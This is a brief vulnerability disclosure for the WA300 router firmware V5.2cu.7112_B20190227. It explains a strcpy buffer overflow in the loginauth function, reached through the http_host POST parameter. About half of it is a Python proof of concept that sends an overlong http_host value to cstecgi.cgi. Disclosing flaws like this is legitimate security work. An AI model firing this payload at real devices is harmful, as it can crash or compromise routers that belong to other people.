WA300 V5.2cu.7112_B20190227
In the WA300 V5.2cu.7112_B20190227 firmware has a buffer overflow vulnerability in the loginauth function. The v12 variable receives the http_host parameter from a POST request. However, since the user can control the input of http_host, the statement strcpy(v28, v12); can cause a buffer overflow injection vulnerability.
import requests
url = "<http://127.0.0.1/cgi-bin/cstecgi.cgi>"
cookie = {"Cookie":"SESSION_ID=2:1721039211:2"}
data = {"username":"admin","password":"admin","http_host":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","verify":"0","flag":"0","topicurl":"loginAuth"}
response = requests.post(url, cookies=cookie, json=data)
print(response.text)
print(response)
